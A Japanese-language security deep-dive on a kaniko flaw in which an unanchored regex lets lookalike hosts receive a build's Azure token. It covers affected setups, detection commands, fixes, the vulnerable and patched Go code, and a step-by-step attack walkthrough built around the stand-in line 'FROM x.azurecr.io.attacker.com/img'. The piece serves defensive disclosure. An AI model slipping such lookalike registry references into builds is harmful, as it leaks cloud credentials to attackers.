当社のAIエンジンNeutronが、UCバークレーのCyberGymベンチマークで97.1%のスコアを記録しました。 詳細を見る

ディープダイブ

ディープダイブ

kaniko の Azure トークンが偽装レジストリへ漏えい (CVE-2026-105769)

kaniko 1.25.20 より前は、.azurecr.io を含む偽装レジストリにビルドの Azure Resource Manager トークンを送信します。

要点

  • x.azurecr.io.attacker.com のような偽装ホストから取得する Dockerfile により、kaniko はビルドの Azure Resource Manager トークンをそのホストへ送信します。アドバイザリは 2026 年 11 月 2 日に公開されました。
  • kaniko 1.25.20 より前は、完全には信頼していない Dockerfile やビルド引数を使い、ビルドに Azure ID が利用できる場合に影響を受けます。
  • アドバイザリは CVSS v3.1 9.3 Critical と評価しています。現実の悪用は報告されておらず、2026 年 11 月 6 日時点で CVE は CISA の KEV カタログにありません。
  • kaniko 1.25.20 以降に更新してください。1.25.21 が最新です。更新できない場合は、Azure 認証情報を削除し、ビルド Pod から Instance Metadata Service をブロックします。「修正方法」を参照してください。

影響を受けますか?

次のすべてに当てはまる場合にのみ影響を受けます。

  • ビルドが kaniko 1.25.20 より前を実行している。executor、warmer、またはそのソースからビルドした単体の docker-credential-acr-env バイナリです。
  • Dockerfile、またはそこに至るビルド引数が、完全には信頼していない人物の影響を受けている。プルリクエストのビルドとマルチテナント CI が明白な例です。
  • ビルド環境が Azure ID を取得できる。AZURE_CLIENT_ID、AZURE_CLIENT_SECRET、AZURE_TENANT_ID のサービスプリンシパル認証情報、AZURE_FEDERATED_TOKEN または AZURE_FEDERATED_TOKEN_FILE のフェデレーテッドワークロード ID トークン、または Azure Instance Metadata Service や MSI_ENDPOINT 経由のマネージド ID です。
  • Dockerfile が、.azurecr.io、.azurecr.cn、.azurecr.de、.azurecr.us を含むが Azure Container Registry のホストではないイメージを参照している。FROM 行だけで十分で、COPY --from=<image> 行でも動作します。

Azure Container Registry を使う必要はなく、helper を設定する必要もありません。kaniko は Docker 設定に認証情報がなく、Google または Amazon ECR ではないレジストリに対して組み込み helper を参照します。偽装ホストはすべてこの集合に入ります。ビルドに Azure ID がなければ、helper はトークンを取得できません。

信頼できる Dockerfile だけを使うビルドは、この経路では影響を受けません。攻撃者が偽装ホストを追加できないためです。修正済みの kaniko は、信頼できない Dockerfile でも影響を受けません。

ブランチ 影響を受けるバージョン 修正バージョン
kaniko 1.25.20 より前のすべてのリリース 1.25.20 (2026 年 10 月 27 日公開)。1.25.21 が最新 (2026 年 11 月 3 日)

バージョンとビルド入力を確認します。

# Version of the executor image or binary
docker run --rm <your-kaniko-executor-image> --version
# Or, inside the build pod
/kaniko/executor --version

# If you import kaniko as a Go module
go list -m github.com/chainguard-dev/kaniko

# Lookalike ACR hosts in a Dockerfile (a dot after the ACR suffix)
grep -nE 'azurecr\.(io|cn|de|us)\.' Dockerfile

# Azure identity available to the build
env | grep -E '^(AZURE_CLIENT_ID|AZURE_CLIENT_SECRET|AZURE_TENANT_ID|AZURE_FEDERATED_TOKEN|AZURE_FEDERATED_TOKEN_FILE|MSI_ENDPOINT|MSI_SECRET)='

修正方法

  1. kaniko 1.25.20 以降に更新します。プロジェクトはソースタグのみを公開し、バイナリは公開しないため、修正済みソースから executor、warmer、単体の docker-credential-acr-env バイナリを再構築します。v1.25.20 が最初の修正タグで、v1.25.21 が最新リリースです。
  2. kaniko を Go モジュールとしてインポートしている場合は、github.com/chainguard-dev/kaniko を v1.25.20 以降に更新します。上流の github.com/chrismellard/docker-credential-acr-env モジュールはメンテナンスされておらず、修正リリースもありません。kaniko は third_party/docker-credential-acr-env に修正済みコピーを同梱しています。
  3. 更新できない場合は、ビルド環境から Azure ID を削除し、Instance Metadata Service をブロックします。
  4. ビルド Pod から AZURE_CLIENT_ID、AZURE_CLIENT_SECRET、AZURE_TENANT_ID、AZURE_FEDERATED_TOKEN、AZURE_FEDERATED_TOKEN_FILE、MSI_ENDPOINT、MSI_SECRET を削除します。
  5. ビルドネットワークから 169.254.169.254 へのアクセスをブロックし、マネージド ID に到達できないようにします。
  6. kaniko の組み込み ACR 認証に依存していない場合は、kaniko コンテナで AZURE_ENVIRONMENT=none を設定します。helper はトークンを要求する前に失敗します。
  7. Docker 設定で "credsStore": "acr-env" を設定している場合は、自分の ACR レジストリ用のホスト別 credHelpers エントリに置き換えます。これは単体バイナリの経路だけを閉じ、組み込み helper は閉じません。
  8. 信頼できないビルドが Azure ID で実行された場合は、それらのビルド中にその ID に発行されたすべてのトークンを侵害されたものとして扱います。ID の Entra ID サインインログと Azure アクティビティログを確認し、特に ACR へのプッシュ、ロール割り当ての変更、キーやシークレットの一覧表示を調べます。ID の認証情報をローテーションしても、すでに発行されたトークンは失効しません。有効期限まで有効です。

根本原因は何ですか?

ACR 資格情報 helper は、アンカーされていない正規表現でホストが Azure Container Registry かどうかを判断するため、ACR サフィックスを含む任意のホスト名が通過します。脆弱なコードは、kaniko が同梱する github.com/chrismellard/docker-credential-acr-env にあります。

var acrRE = regexp.MustCompile(`.*\.azurecr\.io|.*\.azurecr\.cn|.*\.azurecr\.de|.*\.azurecr\.us`)

func isACRRegistry(input string) bool {
    serverURL, err := url.Parse("https://" + input)
    if err != nil {
        return false
    }
    if serverURL.Hostname() == mcrHostname {
        return true
    }
    matches := acrRE.FindStringSubmatch(serverURL.Hostname())
    if len(matches) == 0 {
        return false
    }
    return true
}

url.Parse("https://" + input).Hostname() は入力をホスト名に縮め、パターンは先頭も末尾もアンカーされていません。evil.azurecr.io.attacker.com は .azurecr.io を含むため一致します。foo.azurecr.io.evil も同様です。

helper の Get() はその一致を、ホストが ACR レジストリである証拠として扱います。

func (a ACRCredHelper) Get(serverURL string) (string, string, error) {
    if !isACRRegistry(serverURL) {
        return "", "", errors.New("serverURL does not refer to Azure Container Registry")
    }

    spToken, settings, err := token.GetServicePrincipalTokenFromEnvironment()
    if err != nil {
        return "", "", fmt.Errorf("failed to acquire sp token %w", err)
    }
    refreshToken, err := registry.GetRegistryRefreshTokenFromAADExchange(serverURL, spToken, settings.Values[auth.TenantID])
    ...
}

GetServicePrincipalTokenFromEnvironment() はサービスプリンシパル、フェデレーテッドトークン、またはマネージド ID から Azure Resource Manager トークンを取得します。次に GetRegistryRefreshTokenFromAADExchange() が Azure SDK の GetFromExchange(ctx, "access_token", serverURL, tenantID, "", principalToken.Token().AccessToken) を呼びます。SDK は https://<serverURL>/oauth2/exchange に POST し、トークンを Authorization: Bearer ヘッダーと access_token フォームフィールドに入れます。その URL のホストは攻撃者の偽装ホストなので、トークンはビルドの外へ出ます。

どのように悪用されますか?

  1. 攻撃者は、たとえばプルリクエストのビルドで、Dockerfile またはそこに至るビルド引数に影響を与えられます。
  2. 攻撃者は偽装ホスト上のベースイメージを追加します。FROM x.azurecr.io.attacker.com/img です。RUN 命令もプッシュも不要です。
  3. kaniko は Docker 設定に認証情報がないレジストリを見て、組み込み ACR helper に認証情報を要求します。
  4. アンカーされていない正規表現が偽装ホストに一致します。helper は環境または Instance Metadata Service から Azure Resource Manager トークンを取得します。
  5. helper はトークンを https://x.azurecr.io.attacker.com/oauth2/exchange に送ります。攻撃者はビルド ID の有効なトークンを手に入れます。
  6. 攻撃者はそのトークンを ID のロール割り当てで Azure Resource Manager に対して使うか、実際の ACR レジストリで交換してレジストリ資格情報を取得します。ID に AcrPush 以上があれば、攻撃者はあなたのレジストリにイメージをプッシュできます。

公開された概念実証コードは掲載されていません。アドバイザリは入力とトークン交換を説明しており、ここにあるコードブロックは脆弱なソースと修正済みソースであり、動作するエクスプロイトではありません。

攻撃の流れは?

信頼できないベースイメージ参照により、helper が攻撃者のホストを Azure Container Registry と分類し、helper がビルドの Azure トークンをそのホストへ送ります。

flowchart LR A["信頼できない Dockerfile: FROM x.azurecr.io.attacker.com/img"] --> B["kaniko が ACR helper に認証情報を要求"] B --> C["アンカーされていない正規表現が .azurecr.io に一致"] C --> D["helper が Azure Resource Manager トークンを取得"] D --> E["トークンが攻撃者の /oauth2/exchange に送信される"] E --> F["攻撃者がトークンを Azure に対して使う"]

攻撃者に何ができますか?

ビルドに Azure ID がある状態で、Dockerfile に偽装ホストを置ける攻撃者は、有効な Azure Resource Manager トークンを受け取ります。影響はその ID のロール割り当てによって変わります。

  • ID が読めるリソースを読む。シークレットやストレージキーを含みます。
  • ID が管理できるロール割り当てやその他のリソースを変更する。
  • ID がアクセスできる実際の ACR レジストリでトークンを交換し、レジストリ資格情報を取得する。
  • ID に AcrPush 以上があれば、あなたのレジストリにイメージをプッシュする。

条件はすべて次のとおりです。kaniko 1.25.20 より前、信頼できない Dockerfile またはビルド引数、ビルドに利用できる Azure ID、ACR サフィックスを含む偽装ホストです。攻撃者は ACR を使う必要も、ビルドがプッシュする必要も、RUN 命令も必要としません。トークンは有効期限まで有効で、ID の認証情報をローテーションしても失効しません。

修正が機能する理由

修正はアンカーされていないパターンを、アンカーされラベルを意識したチェックに置き換え、修正済み helper を kaniko のモジュール内に同梱します。

-var acrRE = regexp.MustCompile(`.*\.azurecr\.io|.*\.azurecr\.cn|.*\.azurecr\.de|.*\.azurecr\.us`)
+var acrHostRE = regexp.MustCompile(`^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+azurecr\.(?:io|cn|de|us)$`)
@@
 func isACRRegistry(input string) bool {
    serverURL, err := url.Parse("https://" + input)
-   if err != nil {
+   if err != nil || serverURL.Host != input {
        return false
    }
-   if serverURL.Hostname() == mcrHostname {
-       return true
+   if i := strings.LastIndexByte(input, ':'); i >= 0 {
+       port := input[i+1:]
+       if !portRE.MatchString(port) {
+           return false
+       }
+       if n, err := strconv.Atoi(port); err != nil || n < 1 || n > 65535 {
+           return false
+       }
    }
-   matches := acrRE.FindStringSubmatch(serverURL.Hostname())
-   if len(matches) == 0 {
-       return false
-   }
-   return true
+   host := serverURL.Hostname()
+   return host == mcrHostname || acrHostRE.MatchString(host)
 }

パターンは両端でアンカーされ、ACR サフィックスの前に整形式の小文字 DNS ラベルだけを許可します。evil.azurecr.io.attacker.com と foo.azurecr.io.evil は一致しなくなります。コードはまた、解析したホストが入力と等しいことを要求し、末尾のドットと不正なラベルを拒否し、ポート範囲を確認します。それ以外のホストでは、helper はトークンを要求せずに「credentials not found」を返します。

修正はアドバイザリが挙げる helper の経路に対して完全です。pkg/creds は helper を executor と warmer にリンクし、deploy/Dockerfile は単体の docker-credential-acr-env バイナリをビルドします。上流モジュールは go.mod、go.sum、vendor/ から削除されるため、スキャナーは GO-2026-6225 を報告しなくなります。上流プロジェクトは引き続きメンテナンスされておらず、フォークの維持担当者が将来のアドバイザリを監視する必要があります。

侵害されたかどうかを確認するには?

公開された侵害指標はありません。攻撃者のホストは攻撃者が選ぶため固定の指標にならず、確認は Azure 側で行います。

# Role assignments held by the build identity (requires the Azure CLI)
az role assignment list --assignee <client-id> --all --output table

# ACR repositories and tags, to look for pushes you did not make
az acr repository list --name <registry-name> --output table

Microsoft Entra 管理センターでビルド ID のサインインログを開き、信頼できないビルドが実行された期間を確認します。Azure アクティビティログでは Microsoft.ContainerRegistry/registries/push/write、ロール割り当ての変更、キーやシークレットの一覧表示を絞り込みます。ID に発行されたトークンは有効期限まで有効なので、後から認証情報をローテーションしても、すでに起きた窃取は取り消せません。

偽装ホストからビルドが取得した場合は、トークンを侵害されたものとして扱い、トークンの有効期間中の ID のアクティビティを確認し、ID が読めたすべてのシークレットをローテーションします。検索すべき公開されたドメインや IP の一覧はありません。偽装ホストは攻撃者が選びます。

年表

  • 2023-03-04: docker-credential-acr-env の最後の上流コミット。アンカーされていないチェックがメンテナンスされないままになる。
  • 2025-06: 元の kaniko リポジトリがアーカイブされ、Chainguard がメンテナンス継続のためにフォークする。
  • 2026-10-27: kaniko v1.25.20 が修正済みの同梱 helper とともにリリースされる。
  • 2026-11-02: GHSA-5q7h-w9jf-cx97 が公開される。
  • 2026-11-03: 現行リリースの kaniko v1.25.21 が公開される。
  • 2026-11-05: CVE-2026-105769 が公開される。
  • 2026-11-06: 現実の悪用は報告されておらず、CVE は CISA の KEV カタログにない。

helper は kaniko が独自の修正済みコピーを同梱するまで 3 年以上メンテナンスされませんでした。
図 1: メンテナンスされていない ACR helper から kaniko の修正とアドバイザリまで。出典: kaniko v1.25.20 と v1.25.21 のリリース、コミット 08de01fe、GHSA-5q7h-w9jf-cx97、2026 年 11 月 6 日確認

よくある質問

kaniko を AWS や GCP だけで使っています。影響を受けますか?

可能性があります。ACR helper は Docker 設定に認証情報がなく、Google または Amazon ECR ではないすべてのレジストリに対して参照されます。ビルド環境に Azure ID があれば、偽装ホストがトークン要求を引き起こす可能性があります。Azure ID がなければ、helper はトークンを取得できません。

Azure Container Registry を使う必要がありますか?

いいえ。ACR も helper の設定も必要ありません。組み込み helper は認識されないレジストリホストに対して自動的に参照されます。

信頼できる Dockerfile だけをビルドする場合、影響を受けますか?

この経路では影響を受けません。攻撃者は Dockerfile またはビルド引数に偽装ホストを置く必要があります。すべての入力が信頼でき、偽装ホストが参照されていなければ、helper は攻撃者のホストに対して要求されません。

更新すると上流モジュールは削除されますか?

はい。kaniko v1.25.20 は third_party/docker-credential-acr-env に修正済みコピーを同梱し、github.com/chrismellard/docker-credential-acr-env に依存しなくなるため、スキャナーは GO-2026-6225 を報告しなくなります。

現実の悪用はありましたか?

2026 年 11 月 6 日時点で現実の悪用は報告されておらず、CVE は CISA の KEV カタログにありません。アドバイザリは 2026 年 11 月 2 日に公開されたばかりで、報告がない期間は短いです。

更新できない場合はどうすればよいですか?

ビルド環境から Azure ID を削除して Instance Metadata Service をブロックするか、組み込み ACR 認証を使わない場合は AZURE_ENVIRONMENT=none を設定します。これらの措置はトークン要求を防ぎますが、helper は修正しません。できるだけ早く更新してください。

参考資料

  • kaniko セキュリティアドバイザリ GHSA-5q7h-w9jf-cx97、2026 年 11 月 2 日公開、影響する設定、影響、修正、回避策: https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97 (2026 年 11 月 6 日確認)
  • CVE-2026-105769 レコード、2026 年 11 月 5 日公開、CVSS v3.1 9.3、影響範囲: https://www.cve.org/CVERecord?id=CVE-2026-105769 (2026 年 11 月 6 日確認)
  • kaniko コミット 08de01fe7fffaeb6bc030efa9eae723ea2dd4405、「Fix GO-2026-6225: carry a patched docker-credential-acr-env inside the kaniko module」、2026 年 10 月 27 日: https://github.com/chainguard-forks/kaniko/commit/08de01fe7fffaeb6bc030efa9eae723ea2dd4405 (2026 年 11 月 6 日確認)
  • kaniko プルリクエスト #495、修正と修正済み helper: https://github.com/chainguard-forks/kaniko/pull/495 (2026 年 11 月 6 日確認)
  • kaniko v1.25.20 リリース、2026 年 10 月 27 日: https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20 (2026 年 11 月 6 日確認)
  • kaniko v1.25.21 リリース、2026 年 11 月 3 日、最新リリース: https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.21 (2026 年 11 月 6 日確認)
  • kaniko の vendor/github.com/chrismellard/docker-credential-acr-env/pkg/credhelper/helper.go、v1.25.19、アンカーされていない正規表現: https://github.com/chainguard-forks/kaniko/blob/v1.25.19/vendor/github.com/chrismellard/docker-credential-acr-env/pkg/credhelper/helper.go (2026 年 11 月 6 日確認)
  • kaniko の third_party/docker-credential-acr-env/PATCHES.md、アンカーされたホストチェックと同梱コピー: https://github.com/chainguard-forks/kaniko/blob/v1.25.20/third_party/docker-credential-acr-env/PATCHES.md (2026 年 11 月 6 日確認)
  • Go 脆弱性データベース GO-2026-6225、上流モジュールのアドバイザリ: https://pkg.go.dev/vuln/GO-2026-6225 (2026 年 11 月 6 日確認)
  • GitHub、GoogleContainerTools/kaniko、15,750 スターと 1,529 フォーク、アーカイブされた元リポジトリ: https://github.com/GoogleContainerTools/kaniko (2026 年 11 月 6 日確認)
  • GitHub、chainguard-forks/kaniko、メンテナンスされているフォークと README: https://github.com/chainguard-forks/kaniko (2026 年 11 月 6 日確認)
  • CISA Known Exploited Vulnerabilities カタログの JSON フィード、2026 年 11 月 6 日に CVE-2026-105769 を確認 (未掲載): https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json (2026 年 11 月 6 日確認)